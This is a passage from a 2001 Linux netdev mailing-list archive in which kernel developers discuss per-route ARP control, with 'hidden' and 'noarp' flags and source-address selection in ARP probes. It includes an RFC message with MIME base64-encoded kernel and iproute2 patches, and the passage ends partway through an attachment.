anyway. I'll be very happy if this I don't really understand what kind of atomicity you speak about. What races to you expect. And, in any case, if you _create_ the route with the appropriate flag, it's clean. Just set this local address not through an additional layer (`ip addr add'), but directly, by `ip route add local ...'. > flag is applied automatically to the IFF_LOOPBACK interface(s) for I hate all automatic actions :-) You have all the tools that you need. Each operation using proper tools is a single change in the kernel structures, with well-defined consequences. I hope that this world can live without magic for a little bit longer... :-) [snip] > Currently, due to the fixed priority 0 of the local table it seems > I can't add these addresses to table local if I need to apply different > behavior (drop/reply) for some requestors. And Alexey claims it is very > bad to add local addresses that are not in the local table due to many > dark places in the net/ code. We found, for example, one case with > icmp_send that is not very helpful with local addresses not in the > local table. It seems the net code is not very ready for such games. It looks that I've spotted all (or almost all) such placed and have fixed it. At least, I have computers with local routes not in the local table (and the routes are not /32, of course), and it works. Take a peek at ftp://ftp.sw.com.sg/pub/Linux/people/saw/kernel/v2.4/route.generic (it's against 2.4.0) [snip] > And I have to test the arp_solicit support for my case. I'm > not sure if it is solved with patch #1. Let me know if it's fine for you. Andrey From owner-netdev@oss.sgi.com Sun May 27 13:35:56 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4RKZu901802 for netdev-outgoing; Sun, 27 May 2001 13:35:56 -0700 Received: from u.domain.uli ([212.95.166.64]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4RKZqd01798 for ; Sun, 27 May 2001 13:35:53 -0700 Received: from localhost (IDENT:ja@localhost [127.0.0.1]) by u.domain.uli (8.11.0/8.11.0) with ESMTP id f4RNYJX12674; Sun, 27 May 2001 23:34:21 GMT Date: Sun, 27 May 2001 23:34:19 +0000 (GMT) From: Julian Anastasov X-Sender: To: Andrey Savochkin cc: "David S. Miller" , , , Subject: Re: arpfilter merged, next part? In-Reply-To: <20010524175734.A23528@saw.sw.com.sg> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 3761 Lines: 104 Hello, On Thu, 24 May 2001, Andrey Savochkin wrote: > > Not always, I assume in my case the current rt_src will be used > > which is in fact the same shared IP (it is local and can appear in rt_src > > You may specify any you IP for rt_src for outgoing routes, just be setting > pref_src for them. > If you put your shared IP (or omit pref_src), you'll certainly end up with a > non-working configuration. > Just set pref_src to an address that you want to appear in communications. No, the pref src from the original skb->dst appears as source in our probes which is bad in my case. Of course, the preferred address to the target (after ip_route_output) is our last chance. In my case, sometimes we try to probe for the nexthop when sending IP packets, so in arp_solicit we can see these shared addresses in the output route in skb->dst. This is the reason I'm adding symmetric flag for the output routes. The scenario is: 192.168.0.100: shared 10.0.0.1: world client (reachable through nexthop router, i.e. not direct client) 192.168.0.1: our nexthop router The packet: 10.0.0.1 -> 192.168.0.100 Our probe: who-has 192.168.0.1 tell 192.168.0.100 ^^^^^^^^^^^^^ 192.168.0.100 appears as pref src in skb->dst, bad in my case, i.e. if we use rt_src from skb->dst. So, we must fallback to the preferred src in the route to the target (ip_route_output). > > Not an atomic operation but anyway. I'll be very happy if this > > I don't really understand what kind of atomicity you speak about. > What races to you expect. I always consider the source address announcement as 2nd part of the problem (the first one is the remote probe filtering). And the atomicity is needed depending on the way we control both cases. > And, in any case, if you _create_ the route with the appropriate flag, it's > clean. > Just set this local address not through an additional layer (`ip addr add'), > but directly, by `ip route add local ...'. Right. But you will see in the other thread that I started now that I use "ip addr add" with the same end goal: to mark the local route. > > flag is applied automatically to the IFF_LOOPBACK interface(s) for > > I hate all automatic actions :-) > You have all the tools that you need. > Each operation using proper tools is a single change in the kernel > structures, with well-defined consequences. > I hope that this world can live without magic for a little bit longer... :-) OK, we will try to avoid such things, where possible :) > [snip] > > Currently, due to the fixed priority 0 of the local table it seems > > I can't add these addresses to table local if I need to apply different > > behavior (drop/reply) for some requestors. And Alexey claims it is very > > bad to add local addresses that are not in the local table due to many > > dark places in the net/ code. We found, for example, one case with > > icmp_send that is not very helpful with local addresses not in the > > local table. It seems the net code is not very ready for such games. > > It looks that I've spotted all (or almost all) such placed and have fixed it. > At least, I have computers with local routes not in the local table (and the > routes are not /32, of course), and it works. > Take a peek at > ftp://ftp.sw.com.sg/pub/Linux/people/saw/kernel/v2.4/route.generic > (it's against 2.4.0) Very good. I looked in the new version. I see that you always fallback to the preferred source address to the target in arp_solicit. This is good for me :) Not sure what we break, though :) > [snip] > > And I have to test the arp_solicit support for my case. I'm > > not sure if it is solved with patch #1. > > Let me know if it's fine for you. Yes, see the other thread :) > Andrey Regards -- Julian Anastasov From owner-netdev@oss.sgi.com Sun May 27 13:43:49 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4RKhnh02241 for netdev-outgoing; Sun, 27 May 2001 13:43:49 -0700 Received: from u.domain.uli ([212.95.166.64]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4RKhfd02234 for ; Sun, 27 May 2001 13:43:41 -0700 Received: from localhost (IDENT:ja@localhost [127.0.0.1]) by u.domain.uli (8.11.0/8.11.0) with ESMTP id f4RNfxX12702; Sun, 27 May 2001 23:41:59 GMT Date: Sun, 27 May 2001 23:41:59 +0000 (GMT) From: Julian Anastasov X-Sender: To: Andrey Savochkin cc: "David S. Miller" , , , Subject: per-route arp control In-Reply-To: <20010524175734.A23528@saw.sw.com.sg> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1607745702-51437355-991006919=:12611" Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 16469 Lines: 323 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1607745702-51437355-991006919=:12611 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, This is RFC - per-route ARP control for Linux 2.4 in two parts: a) filtering ARP probes b) selection of the source IP in the ARP probes there are attached patches 1. Part one: filtering ARP probes - semantic: "don't reply for input routes marked noarp" - we add "noarp" flag for the "ip route" command - we add "hidden" flag for the "ip addr add" command and this is propagated to the created local route, i.e. "ip addr add IP[/mask] ... hidden" is converted to "ip route add table local local IP[/mask] ... noarp - we don't distinguish broadcast/unicast probes (skb->pkt_type), may be this is useful in cases where we must block the unicast probes too. Who relies on the unicast probes to continue to reply (as in "hidden" for 2.2)? IMO, it can't fit into the NOARP semantic, we must not reply. Alexey? - only local and unicast routes are filtered, for example: a) local routes ip route add table local local 192.168.0.100 dev lo noarp b) unicast routes ip rule add prio 100 from 192.168.0.100 table 100 ip route add table 100 default via 192.168.0.1 dev eth0 src 192.168.0.2 noarp Open question(s): - the duplicate address detection code is not touched, do we need changes there? As I see, ip_route_input can't be used. The risks always exist if the "hidden" IP is used to talk IP to some remote hosts that later will send probes and we will drop them with noarp route but what routes are marked noarp is entirely under user control. 2. Part two: source address selection for our probes - semantic: "in our probes announce the preferred source address for the target if the original route in the skb is marked noarp" Sometimes we don't want to announce particular addresses, for example, if they are marked hidden/noarp in local routes - the symmetry. In this case we add noarp route and then fallback to the preferred source address no matter it is marked as hidden. The RTCF_NOARP flag in the output routes is checked in this case (arp_solicit): ip rule from ... ip route add ... noarp Andrey, I see that in your current route.generic version arp_solicit always fallbacks to the preferred source address to the target, so the above 2nd part will disappear (it is a bit difficult to use the above 2nd part from user space with ip route :( but it is easy for kernel :) ). The patches are attached: noarp-2.4.5-1.diff - the kernel patch on top of Andrey's (and/or Alexey's?) arp patch but I added additional check for rt!=0 in arp_solicit which disappeared after the first version iproute2-noarp-1.diff - the supplementary patch for iproute2-2.2.4-now-ss001007.tar.gz I hope these ifdefs are the only way to compile iproute2 with kernels that don't support *HIDDEN and *NOARP defines. Or may be we can add the same functionality to 2.2? The same patches will be here: http://www.linuxvirtualserver.org/~julian/arp/ Comments? Regards -- Julian Anastasov --1607745702-51437355-991006919=:12611 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="noarp-2.4.5-1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: per-route arp control, patch against 2.4.5 Content-Disposition: attachment; filename="noarp-2.4.5-1.diff" LS0tIHYyLjQuNS9saW51eC9pbmNsdWRlL2xpbnV4L2luX3JvdXRlLmgJRnJp IEp1biAxMiAwNTo1MjozMyAxOTk4DQorKysgbGludXgvaW5jbHVkZS9saW51 eC9pbl9yb3V0ZS5oCVN1biBNYXkgMjcgMTY6MDM6MjggMjAwMQ0KQEAgLTEz LDYgKzEzLDcgQEANCiAjZGVmaW5lIFJUQ0ZfRElSRUNURFNUCTB4MDAwMjAw MDANCiAjZGVmaW5lIFJUQ0ZfUkVESVJFQ1RFRAkweDAwMDQwMDAwDQogI2Rl ZmluZSBSVENGX1RQUk9YWQkweDAwMDgwMDAwDQorI2RlZmluZSBSVENGX05P QVJQCTB4MDAxMDAwMDANCiANCiAjZGVmaW5lIFJUQ0ZfRkFTVAkweDAwMjAw MDAwDQogI2RlZmluZSBSVENGX01BU1EJMHgwMDQwMDAwMA0KLS0tIHYyLjQu NS9saW51eC9pbmNsdWRlL2xpbnV4L3J0bmV0bGluay5oCU1vbiBOb3YgMjAg MjA6NTI6NTAgMjAwMA0KKysrIGxpbnV4L2luY2x1ZGUvbGludXgvcnRuZXRs aW5rLmgJU3VuIE1heSAyNyAxNjoyODoxNCAyMDAxDQpAQCAtMTY3LDYgKzE2 Nyw3IEBADQogI2RlZmluZSBSVE1fRl9OT1RJRlkJCTB4MTAwCS8qIE5vdGlm eSB1c2VyIG9mIHJvdXRlIGNoYW5nZQkqLw0KICNkZWZpbmUgUlRNX0ZfQ0xP TkVECQkweDIwMAkvKiBUaGlzIHJvdXRlIGlzIGNsb25lZAkJKi8NCiAjZGVm aW5lIFJUTV9GX0VRVUFMSVpFCQkweDQwMAkvKiBNdWx0aXBhdGggZXF1YWxp emVyOiBOSQkqLw0KKyNkZWZpbmUgUlRNX0ZfTk9BUlAJCTB4ODAwCS8qIERp c2FibGUgQVJQIGZvciB0aGlzIHJvdXRlCSovDQogDQogLyogUmVzZXJ2ZWQg dGFibGUgaWRlbnRpZmllcnMgKi8NCiANCkBAIC0zMTUsNiArMzE2LDcgQEAN CiAvKiBpZmFfZmxhZ3MgKi8NCiANCiAjZGVmaW5lIElGQV9GX1NFQ09OREFS WQkJMHgwMQ0KKyNkZWZpbmUgSUZBX0ZfSElEREVOCQkweDAyDQogDQogI2Rl ZmluZSBJRkFfRl9ERVBSRUNBVEVECTB4MjANCiAjZGVmaW5lIElGQV9GX1RF TlRBVElWRQkJMHg0MA0KLS0tIHYyLjQuNS9saW51eC9uZXQvaXB2NC9hcnAu YwlTYXQgTWF5IDI2IDE4OjA5OjEzIDIwMDENCisrKyBsaW51eC9uZXQvaXB2 NC9hcnAuYwlTdW4gTWF5IDI3IDE2OjA5OjU2IDIwMDENCkBAIC02Niw2ICs2 Niw3IEBADQogICoJCUFsZXhleSBLdXpuZXRzb3Y6CW5ldyBhcnAgc3RhdGUg bWFjaGluZTsNCiAgKgkJCQkJbm93IGl0IGlzIGluIG5ldC9jb3JlL25laWdo Ym91ci5jLg0KICAqCQlLcnp5c3p0b2YgSGFsYXNhOglBZGRlZCBGcmFtZSBS ZWxheSBBUlAgc3VwcG9ydC4NCisgKgkJSnVsaWFuIEFuYXN0YXNvdjoJUGVy LXJvdXRlIEFSUCBjb250cm9sDQogICovDQogDQogI2luY2x1ZGUgPGxpbnV4 L3R5cGVzLmg+DQpAQCAtMzIxLDExICszMjIsMjQgQEANCiAJc3RydWN0IG5l dF9kZXZpY2UgKmRldiA9IG5laWdoLT5kZXY7DQogCXUzMiB0YXJnZXQgPSAq KHUzMiopbmVpZ2gtPnByaW1hcnlfa2V5Ow0KIAlpbnQgcHJvYmVzID0gYXRv bWljX3JlYWQoJm5laWdoLT5wcm9iZXMpOw0KKwlzdHJ1Y3QgcnRhYmxlICpy dDsNCiANCi0JaWYgKHNrYiAmJiBpbmV0X2FkZHJfdHlwZShza2ItPm5oLmlw aC0+c2FkZHIpID09IFJUTl9MT0NBTCkNCi0JCXNhZGRyID0gc2tiLT5uaC5p cGgtPnNhZGRyOw0KLQllbHNlDQotCQlzYWRkciA9IGluZXRfc2VsZWN0X2Fk ZHIoZGV2LCB0YXJnZXQsIFJUX1NDT1BFX0xJTkspOw0KKwkvKiBEZXRlcm1p bmUgc291cmNlIElQIGZvciB0aGUgcHJvYmluZyBwYWNrZXQuICovDQorCXNh ZGRyID0gMDsNCisJaWYgKHNrYiAhPSBOVUxMKSB7DQorCQlydCA9IChzdHJ1 Y3QgcnRhYmxlKilza2ItPmRzdDsNCisJCWlmIChydCAmJiAhcnQtPnJ0X2lp ZiAmJiAhKHJ0LT5ydF9mbGFncyAmIFJUQ0ZfTk9BUlApKQ0KKwkJCXNhZGRy ID0gcnQtPnJ0X3NyYzsNCisJfQ0KKwlpZiAoIXNhZGRyKSB7DQorCQlpZiAo aXBfcm91dGVfb3V0cHV0KCZydCwgdGFyZ2V0LCAwLCAwLCBkZXYtPmlmaW5k ZXgpIDwgMCkNCisJCQkvKiBOZXZlciBzZW5kIHByb2JlcyB3aXRoIDAgc291 cmNlIGFzIHdlIHVzZWQgdG8uICovDQorCQkJcmV0dXJuOw0KKwkJc2FkZHIg PSBydC0+cnRfc3JjOw0KKwkJaXBfcnRfcHV0KHJ0KTsNCisJfQ0KKwlpZiAo IXNhZGRyKQ0KKwkJcmV0dXJuOw0KIA0KIAlpZiAoKHByb2JlcyAtPSBuZWln aC0+cGFybXMtPnVjYXN0X3Byb2JlcykgPCAwKSB7DQogCQlpZiAoIShuZWln aC0+bnVkX3N0YXRlJk5VRF9WQUxJRCkpDQpAQCAtMzQ1LDIwICszNTksMzUg QEANCiAJCXJlYWRfdW5sb2NrX2JoKCZuZWlnaC0+bG9jayk7DQogfQ0KIA0K LXN0YXRpYyBpbnQgYXJwX2ZpbHRlcihfX3UzMiBzaXAsIF9fdTMyIHRpcCwg c3RydWN0IG5ldF9kZXZpY2UgKmRldikNCitzdGF0aWMgaW50IGFycF9maWx0 ZXIoc3RydWN0IHNrX2J1ZmYgKnNrYiwgX191MzIgc2lwLCBfX3UzMiB0aXAs DQorCQlzdHJ1Y3QgaW5fZGV2aWNlICppbl9kZXYpDQogew0KIAlzdHJ1Y3Qg cnRhYmxlICpydDsNCiAJaW50IGZsYWcgPSAwOyANCi0JLyp1bnNpZ25lZCBs b25nIG5vdzsgKi8NCiANCisJaWYgKCFJTl9ERVZfQVJQRklMVEVSKGluX2Rl dikpDQorCQlyZXR1cm4gMDsNCisNCisJLyogQWx3YXlzIGFuc3dlciBkaXJl Y3QgcXVlcmllcy4gKi8NCisJaWYgKHNrYi0+cGt0X3R5cGUgPT0gUEFDS0VU X0hPU1QpDQorCQlyZXR1cm4gMDsNCisNCisJLyogVGhlbiBjaGVjayByb3V0 ZXM6DQorCSAqIHByaW1hcmlseSwgdGhpcyBjaGVjayBpcyB1c2VkIHRvIG5v dCB0byBhbnN3ZXIgdG8gc29tZSByZXF1ZXN0cyBpZg0KKwkgKiBzZXZlcmFs IGludGVyZmFjZXMgYXJlIGNvbm5lY3RlZCB0byB0aGUgc2FtZSBzZWdtZW50 Lg0KKwkgKiBUaGlzIGNoZWNrIGFsc28gbWF5IGJlIHVzZWQgZm9yIG1hbnVh bCBjb250cm9sIG9mIHdobyBzZWVzIElQDQorCSAqIGFkZHJlc3NlcyBhdCB3 aGljaCBsaW5rLWxldmVsIGFkZHJlc3NlcyBieSBpbnN0YWxsaW5nIHByb2hp Yml0aW5nDQorCSAqIHJvdXRlcy4gIC0tIDIwMDEvMDUvMjAgIFNBVw0KKwkg Ki8NCiAJaWYgKGlwX3JvdXRlX291dHB1dCgmcnQsIHNpcCwgdGlwLCAwLCAw KSA8IDApIA0KIAkJcmV0dXJuIDE7DQotCWlmIChydC0+dS5kc3QuZGV2ICE9 IGRldikgeyANCisJaWYgKHJ0LT51LmRzdC5kZXYgIT0gaW5fZGV2LT5kZXYp IHsgDQogCQlORVRfSU5DX1NUQVRTX0JIKEFycEZpbHRlcik7DQogCQlmbGFn ID0gMTsNCiAJfSANCiAJaXBfcnRfcHV0KHJ0KTsgDQotCXJldHVybiBmbGFn OyANCisNCisJcmV0dXJuIGZsYWc7DQogfSANCiANCiAvKiBPQlNPTEVURSBG VU5DVElPTlMgKi8NCkBAIC03NTcsMTAgKzc4Niw4IEBADQogCQlpZiAoYWRk cl90eXBlID09IFJUTl9MT0NBTCkgew0KIAkJCW4gPSBuZWlnaF9ldmVudF9u cygmYXJwX3RibCwgc2hhLCAmc2lwLCBkZXYpOw0KIAkJCWlmIChuKSB7DQot CQkJCWludCBkb250X3NlbmQgPSAwOw0KLQkJCQlpZiAoSU5fREVWX0FSUEZJ TFRFUihpbl9kZXYpKQ0KLQkJCQkJZG9udF9zZW5kIHw9IGFycF9maWx0ZXIo c2lwLHRpcCxkZXYpOyANCi0JCQkJaWYgKCFkb250X3NlbmQpDQorCQkJCWlm ICghKHJ0LT5ydF9mbGFncyAmIFJUQ0ZfTk9BUlApICYmDQorCQkJCSAgICAh YXJwX2ZpbHRlcihza2IsIHNpcCwgdGlwLCBpbl9kZXYpKQ0KIAkJCQkJYXJw X3NlbmQoQVJQT1BfUkVQTFksRVRIX1BfQVJQLHNpcCxkZXYsdGlwLHNoYSxk ZXYtPmRldl9hZGRyLHNoYSk7DQogDQogCQkJCW5laWdoX3JlbGVhc2Uobik7 DQpAQCAtNzczLDYgKzgwMCw5IEBADQogCQkJCW4gPSBuZWlnaF9ldmVudF9u cygmYXJwX3RibCwgc2hhLCAmc2lwLCBkZXYpOw0KIAkJCQlpZiAobikNCiAJ CQkJCW5laWdoX3JlbGVhc2Uobik7DQorDQorCQkJCWlmIChydC0+cnRfZmxh Z3MgJiBSVENGX05PQVJQKQ0KKwkJCQkJZ290byBvdXQ7DQogDQogCQkJCWlm IChza2ItPnN0YW1wLnR2X3NlYyA9PSAwIHx8DQogCQkJCSAgICBza2ItPnBr dF90eXBlID09IFBBQ0tFVF9IT1NUIHx8DQotLS0gdjIuNC41L2xpbnV4L25l dC9pcHY0L2ZpYl9mcm9udGVuZC5jCVNhdCBNYXkgMjYgMTg6MDk6MTMgMjAw MQ0KKysrIGxpbnV4L25ldC9pcHY0L2ZpYl9mcm9udGVuZC5jCVN1biBNYXkg MjcgMTY6MDM6MjggMjAwMQ0KQEAgLTQ1MCw2ICs0NTAsOSBAQA0KIAlyZXEu cnRtLnJ0bV9wcm90b2NvbCA9IFJUUFJPVF9LRVJORUw7DQogCXJlcS5ydG0u cnRtX3Njb3BlID0gKHR5cGUgIT0gUlROX0xPQ0FMID8gUlRfU0NPUEVfTElO SyA6IFJUX1NDT1BFX0hPU1QpOw0KIAlyZXEucnRtLnJ0bV90eXBlID0gdHlw ZTsNCisJaWYgKGlmYS0+aWZhX2ZsYWdzICYgSUZBX0ZfSElEREVOICYmIHR5 cGUgPT0gUlROX0xPQ0FMICYmDQorCSAgICBjbWQgPT0gUlRNX05FV1JPVVRF KQ0KKwkJcmVxLnJ0bS5ydG1fZmxhZ3MgfD0gUlRNX0ZfTk9BUlA7DQogDQog CXJ0YS5ydGFfZHN0ID0gJmRzdDsNCiAJcnRhLnJ0YV9wcmVmc3JjID0gJmlm YS0+aWZhX2xvY2FsOw0KLS0tIHYyLjQuNS9saW51eC9uZXQvaXB2NC9yb3V0 ZS5jCVNhdCBNYXkgMjYgMTg6MDk6MTMgMjAwMQ0KKysrIGxpbnV4L25ldC9p cHY0L3JvdXRlLmMJU3VuIE1heSAyNyAxODo0NjoyOCAyMDAxDQpAQCAtMTM2 Myw2ICsxMzYzLDkgQEANCiAJaWYgKHJlcy50eXBlID09IFJUTl9CUk9BRENB U1QpDQogCQlnb3RvIGJyZF9pbnB1dDsNCiANCisJaWYgKHJlcy5maSAmJiBy ZXMuZmktPmZpYl9mbGFncyAmIFJUTV9GX05PQVJQKQ0KKwkJZmxhZ3MgfD0g UlRDRl9OT0FSUDsNCisNCiAJaWYgKHJlcy50eXBlID09IFJUTl9MT0NBTCkg ew0KIAkJaW50IHJlc3VsdDsNCiAJCXJlc3VsdCA9IGZpYl92YWxpZGF0ZV9z b3VyY2Uoc2FkZHIsIGRhZGRyLCB0b3MsDQpAQCAtMTc5Myw2ICsxNzk2LDkg QEANCiAJaWYgKHJlcy50eXBlID09IFJUTl9OQVQpDQogCQlnb3RvIGVfaW52 YWw7DQogDQorCWlmIChyZXMuZmkgJiYgcmVzLmZpLT5maWJfZmxhZ3MgJiBS VE1fRl9OT0FSUCkNCisJCWZsYWdzIHw9IFJUQ0ZfTk9BUlA7DQorDQogCWlm IChyZXMudHlwZSA9PSBSVE5fTE9DQUwpIHsNCiAJCWlmICgha2V5LnNyYykN CiAJCQlrZXkuc3JjID0ga2V5LmRzdDsNCkBAIC0xOTkzLDYgKzE5OTksOCBA QA0KIAlyLT5ydG1fZmxhZ3MJPSAocnQtPnJ0X2ZsYWdzICYgfjB4RkZGRikg fCBSVE1fRl9DTE9ORUQ7DQogCWlmIChydC0+cnRfZmxhZ3MgJiBSVENGX05P VElGWSkNCiAJCXItPnJ0bV9mbGFncyB8PSBSVE1fRl9OT1RJRlk7DQorCWlm IChydC0+cnRfZmxhZ3MgJiBSVENGX05PQVJQKQ0KKwkJci0+cnRtX2ZsYWdz IHw9IFJUTV9GX05PQVJQOw0KIAlSVEFfUFVUKHNrYiwgUlRBX0RTVCwgNCwg JnJ0LT5ydF9kc3QpOw0KIAlpZiAocnQtPmtleS5zcmMpIHsNCiAJCXItPnJ0 bV9zcmNfbGVuID0gMzI7DQpAQCAtMjExOSw2ICsyMTI3LDggQEANCiAJc2ti LT5kc3QgPSAmcnQtPnUuZHN0Ow0KIAlpZiAocnRtLT5ydG1fZmxhZ3MgJiBS VE1fRl9OT1RJRlkpDQogCQlydC0+cnRfZmxhZ3MgfD0gUlRDRl9OT1RJRlk7 DQorCWlmIChydG0tPnJ0bV9mbGFncyAmIFJUTV9GX05PQVJQKQ0KKwkJcnQt PnJ0X2ZsYWdzIHw9IFJUQ0ZfTk9BUlA7DQogDQogCU5FVExJTktfQ0Ioc2ti KS5kc3RfcGlkID0gTkVUTElOS19DQihpbl9za2IpLnBpZDsNCiANCg== --1607745702-51437355-991006919=:12611 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="iproute2-noarp-1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: iproute2 changes for per-route arp control Content-Disposition: attachment; filename="iproute2-noarp-1.diff" ZGlmZiAtdXIgaXByb3V0ZTIvaXAvaXBhZGRyZXNzLmMgaXByb3V0ZTItbm9h cnAvaXAvaXBhZGRyZXNzLmMNCi0tLSBpcHJvdXRlMi9pcC9pcGFkZHJlc3Mu YwlTdW4gU2VwIDEwIDE5OjAzOjI2IDIwMDANCisrKyBpcHJvdXRlMi1ub2Fy cC9pcC9pcGFkZHJlc3MuYwlTdW4gTWF5IDI3IDE5OjA3OjEzIDIwMDENCkBA IC02MCw3ICs2MCw3IEBADQogCWlmIChkb19saW5rKSB7DQogCQlpcGxpbmtf dXNhZ2UoKTsNCiAJfQ0KLQlmcHJpbnRmKHN0ZGVyciwgIlVzYWdlOiBpcCBh ZGRyIHthZGR8ZGVsfSBJRkFERFIgZGV2IFNUUklOR1xuIik7DQorCWZwcmlu dGYoc3RkZXJyLCAiVXNhZ2U6IGlwIGFkZHIge2FkZHxkZWx9IElGQUREUiBk ZXYgU1RSSU5HIFsgaGlkZGVuIF1cbiIpOw0KIAlmcHJpbnRmKHN0ZGVyciwg IiAgICAgICBpcCBhZGRyIHtzaG93fGZsdXNofSBbIGRldiBTVFJJTkcgXSBb IHNjb3BlIFNDT1BFLUlEIF1cbiIpOw0KIAlmcHJpbnRmKHN0ZGVyciwgIiAg ICAgICAgICAgICAgICAgICAgICAgICAgICBbIHRvIFBSRUZJWCBdIFsgRkxB Ry1MSVNUIF0gWyBsYWJlbCBQQVRURVJOIF1cbiIpOw0KIAlmcHJpbnRmKHN0 ZGVyciwgIklGQUREUiA6PSBQUkVGSVggfCBBRERSIHBlZXIgUFJFRklYXG4i KTsNCkBAIC02OSw3ICs2OSw3IEBADQogCWZwcmludGYoc3RkZXJyLCAiU0NP UEUtSUQgOj0gWyBob3N0IHwgbGluayB8IGdsb2JhbCB8IE5VTUJFUiBdXG4i KTsNCiAJZnByaW50ZihzdGRlcnIsICJGTEFHLUxJU1QgOj0gWyBGTEFHLUxJ U1QgXSBGTEFHXG4iKTsNCiAJZnByaW50ZihzdGRlcnIsICJGTEFHICA6PSBb IHBlcm1hbmVudCB8IGR5bmFtaWMgfCBzZWNvbmRhcnkgfCBwcmltYXJ5IHxc biIpOw0KLQlmcHJpbnRmKHN0ZGVyciwgIiAgICAgICAgICAgdGVudGF0aXZl IHwgZGVwcmVjYXRlZCBdXG4iKTsNCisJZnByaW50ZihzdGRlcnIsICIgICAg ICAgICAgIHRlbnRhdGl2ZSB8IGRlcHJlY2F0ZWQgfCBoaWRkZW4gXVxuIik7 DQogCWV4aXQoLTEpOw0KIH0NCiANCkBAIC00MDAsNiArNDAwLDEyIEBADQog CQlpZmEtPmlmYV9mbGFncyAmPSB+SUZBX0ZfU0VDT05EQVJZOw0KIAkJZnBy aW50ZihmcCwgInNlY29uZGFyeSAiKTsNCiAJfQ0KKyNpZmRlZiBJRkFfRl9I SURERU4NCisJaWYgKGlmYS0+aWZhX2ZsYWdzJklGQV9GX0hJRERFTikgew0K KwkJaWZhLT5pZmFfZmxhZ3MgJj0gfklGQV9GX0hJRERFTjsNCisJCWZwcmlu dGYoZnAsICJoaWRkZW4gIik7DQorCX0NCisjZW5kaWYNCiAJaWYgKGlmYS0+ aWZhX2ZsYWdzJklGQV9GX1RFTlRBVElWRSkgew0KIAkJaWZhLT5pZmFfZmxh Z3MgJj0gfklGQV9GX1RFTlRBVElWRTsNCiAJCWZwcmludGYoZnAsICJ0ZW50 YXRpdmUgIik7DQpAQCAtNTQxLDYgKzU0NywxMSBAQA0KIAkJfSBlbHNlIGlm IChzdHJjbXAoKmFyZ3YsICJwcmltYXJ5IikgPT0gMCkgew0KIAkJCWZpbHRl ci5mbGFncyAmPSB+SUZBX0ZfU0VDT05EQVJZOw0KIAkJCWZpbHRlci5mbGFn bWFzayB8PSBJRkFfRl9TRUNPTkRBUlk7DQorI2lmZGVmIElGQV9GX0hJRERF Tg0KKwkJfSBlbHNlIGlmIChzdHJjbXAoKmFyZ3YsICJoaWRkZW4iKSA9PSAw KSB7DQorCQkJZmlsdGVyLmZsYWdzICY9IH5JRkFfRl9ISURERU47DQorCQkJ ZmlsdGVyLmZsYWdtYXNrIHw9IElGQV9GX0hJRERFTjsNCisjZW5kaWYNCiAJ CX0gZWxzZSBpZiAoc3RyY21wKCphcmd2LCAidGVudGF0aXZlIikgPT0gMCkg ew0KIAkJCWZpbHRlci5mbGFncyB8PSBJRkFfRl9URU5UQVRJVkU7DQogCQkJ ZmlsdGVyLmZsYWdtYXNrIHw9IElGQV9GX1RFTlRBVElWRTsNCkBAIC03OTIs NiArODAzLDExIEBADQogCQl9IGVsc2UgaWYgKHN0cmNtcCgqYXJndiwgImRl diIpID09IDApIHsNCiAJCQlORVhUX0FSRygpOw0KIAkJCWQgPSAqYXJndjsN CisJCX0gZWxzZSBpZiAoc3RyY21wKCphcmd2LCAiaGlkZGVuIikgPT0gMCB8 fA0KKwkJCSAgIHN0cmNtcCgqYXJndiwgIm5vYXJwIikgPT0gMCkgew0KKyNp ZmRlZiBJRkFfRl9ISURERU4NCisJCQlyZXEuaWZhLmlmYV9mbGFncyB8PSBJ RkFfRl9ISURERU47DQorI2VuZGlmDQogCQl9IGVsc2UgaWYgKHN0cmNtcCgq YXJndiwgImxhYmVsIikgPT0gMCkgew0KIAkJCU5FWFRfQVJHKCk7DQogCQkJ bCA9ICphcmd2Ow0KZGlmZiAtdXIgaXByb3V0ZTIvaXAvaXByb3V0ZS5jIGlw cm91dGUyLW5vYXJwL2lwL2lwcm91dGUuYw0KLS0tIGlwcm91dGUyL2lwL2lw cm91dGUuYwlTYXQgU2VwICA5IDE4OjMxOjEzIDIwMDANCisrKyBpcHJvdXRl Mi1ub2FycC9pcC9pcHJvdXRlLmMJU3VuIE1heSAyNyAxNjo0NDoxMiAyMDAx DQpAQCAtNjEsNyArNjEsNyBAQA0KIAlmcHJpbnRmKHN0ZGVyciwgIiAgICAg ICAgICB1bnJlYWNoYWJsZSB8IHByb2hpYml0IHwgYmxhY2tob2xlIHwgbmF0 IF1cbiIpOw0KIAlmcHJpbnRmKHN0ZGVyciwgIlRBQkxFX0lEIDo9IFsgbG9j YWwgfCBtYWluIHwgZGVmYXVsdCB8IGFsbCB8IE5VTUJFUiBdXG4iKTsNCiAJ ZnByaW50ZihzdGRlcnIsICJTQ09QRSA6PSBbIGhvc3QgfCBsaW5rIHwgZ2xv YmFsIHwgTlVNQkVSIF1cbiIpOw0KLQlmcHJpbnRmKHN0ZGVyciwgIkZMQUdT IDo9IFsgZXF1YWxpemUgXVxuIik7DQorCWZwcmludGYoc3RkZXJyLCAiRkxB R1MgOj0gWyBlcXVhbGl6ZSB8IG5vYXJwIF1cbiIpOw0KIAlmcHJpbnRmKHN0 ZGVyciwgIk5IRkxBR1MgOj0gWyBvbmxpbmsgfCBwZXJ2YXNpdmUgXVxuIik7 DQogCWZwcmludGYoc3RkZXJyLCAiUlRQUk9UTyA6PSBbIGtlcm5lbCB8IGJv b3QgfCBzdGF0aWMgfCBOVU1CRVIgXVxuIik7DQogCWV4aXQoLTEpOw0KQEAg LTM1NSw2ICszNTUsMTAgQEANCiAJCWZwcmludGYoZnAsICJwZXJ2YXNpdmUg 